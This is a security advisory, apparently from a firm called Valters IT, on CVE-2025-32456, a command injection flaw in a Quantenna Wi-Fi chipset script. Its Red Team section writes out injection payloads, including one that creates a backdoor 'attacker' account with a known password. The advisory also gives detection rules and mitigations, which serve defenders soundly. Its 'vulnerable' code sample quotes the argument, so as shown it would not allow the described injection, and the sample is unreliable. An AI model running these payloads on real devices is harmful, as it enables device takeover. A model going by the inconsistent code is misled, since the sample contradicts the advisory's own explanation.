CVE-2025-32456

Executive Summary

CVE-2025-32456 is a critical argument injection vulnerability (CWE-88) in the Quantenna Wi-Fi chipset's local control script, router_command.sh. The vulnerability exists in the put_file_to_qtn argument, allowing an unauthenticated local attacker to inject arbitrary commands. With a CVSS score of 7.7, this flaw enables high confidentiality and integrity impacts, though availability is not affected. The vendor has not released a patch but has provided a best practices guide for implementors. This vulnerability is particularly dangerous in embedded systems and IoT devices where the chipset is deployed, as it can lead to full device compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in the Quantenna Wi-Fi chipset, affecting the supply chain of devices that integrate this chipset. Implementors must apply the vendor's best practices guide to mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Attack Vector: Local (AV:L) – The attacker must have local access to the device.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full read access to device data.
• Integrity Impact: High (I:H) – Full write access to device data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is unpatched and allows complete compromise of the device's confidentiality and integrity. Local access is required, but in many IoT/embedded scenarios, local access can be achieved via physical or network proximity.

Deep Dive & Mechanics

The vulnerability resides in the router_command.sh script, specifically in the put_file_to_qtn function. This function is designed to transfer files to the Quantenna chipset. The script fails to properly sanitize user-supplied arguments, allowing an attacker to inject arbitrary shell commands by inserting argument delimiters (e.g., ;, |, &, $()).

Root Cause: The script uses user input directly in a command without proper escaping or validation. For example, a call like router_command.sh put_file_to_qtn "file.txt; malicious_command" would execute malicious_command on the system.

Attack Vector: Local access to the device's command line or a service that invokes this script with user-controlled arguments.

Impact: An attacker can execute arbitrary commands with the privileges of the script (likely root), leading to full control over the device, data exfiltration, or installation of malware.

Vulnerable vs. Patched Code

Vulnerable Code (router_command.sh):

#!/bin/sh
put_file_to_qtn() {
    local file="$1"
    # Vulnerable: direct command execution without sanitization
    /usr/bin/qtn_tool --put-file "$file"
}

Patched Code (Hypothetical):

#!/bin/sh
put_file_to_qtn() {
    local file="$1"
    # Sanitize input: remove dangerous characters
    file=$(echo "$file" | sed 's/[^a-zA-Z0-9._-]//g')
    /usr/bin/qtn_tool --put-file "$file"
}

Note: No official patch exists. The above is a recommended mitigation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a device with Quantenna chipset (e.g., router, IoT device).
• Ability to execute commands or invoke router_command.sh.

Exploit Command:

router_command.sh put_file_to_qtn "legit_file.txt; id > /tmp/pwned"

Proof of Concept (PoC):

# Inject command to create a backdoor user
router_command.sh put_file_to_qtn "a; useradd -m -s /bin/bash attacker && echo 'attacker:password' | chpasswd"

Expected Output: The id command output is written to /tmp/pwned, or a new user is created.

Blue Team

Detection:

• Monitor for unusual invocations of router_command.sh with suspicious arguments.
• Look for processes spawned by qtn_tool that are not expected.

Hunting:

• Search logs for patterns like put_file_to_qtn followed by shell metacharacters (;, |, &, $).
• Check for unexpected files in /tmp or new user accounts.

Lab Setup:

• Use a virtualized environment with a Quantenna chipset emulator or a real device in an isolated network.
• Deploy a honeypot that logs all router_command.sh invocations.

Indicators of Compromise (IOCs)

• File: /tmp/pwned (or similar unexpected files)
• Process: qtn_tool with unusual arguments
• Log Entry: router_command.sh put_file_to_qtn followed by shell metacharacters
• Network: Outbound connections from the device to unknown IPs (if attacker exfiltrates data)
• User Account: Unexpected user accounts (e.g., attacker)

Detection Engineering

YARA Rule

rule CVE_2025_32456_Quantenna_ArgInjection {
    meta:
        description = "Detects argument injection attempts in router_command.sh"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32456"
    strings:
        $script = "router_command.sh"
        $inject = /put_file_to_qtn\s+\S*[;&|`$()]/
    condition:
        $script and $inject
}

Sigma Rule

title: CVE-2025-32456 Quantenna Argument Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts via router_command.sh
author: Valters IT
date: 2025-04-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/router_command.sh'
        CommandLine|contains: 'put_file_to_qtn'
    filter:
        CommandLine|re: 'put_file_to_qtn\s+\S*[;&|`$()]'
    condition: selection and filter
falsepositives:
    - Legitimate file transfers with special characters (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-32456 Quantenna Argument Injection"; content:"router_command.sh"; content:"put_file_to_qtn"; pcre:"/put_file_to_qtn\s+\S*[;&|`$()]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Vendor Best Practices: Implement the vendor's guide for secure usage of the chipset.
2. Input Sanitization: Modify router_command.sh to sanitize arguments (e.g., whitelist allowed characters).
3. Restrict Access: Limit execution of router_command.sh to trusted users only (e.g., root).
4. Disable Unused Features: If put_file_to_qtn is not needed, remove or disable the script.

Long-Term:

• Firmware Update: Monitor for an official patch from Quantenna.
• Replace Hardware: If possible, replace devices with patched alternatives.
• Network Segmentation: Isolate affected devices to limit blast radius.

Detection: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.

Valters IT
Securing Digital Frontiers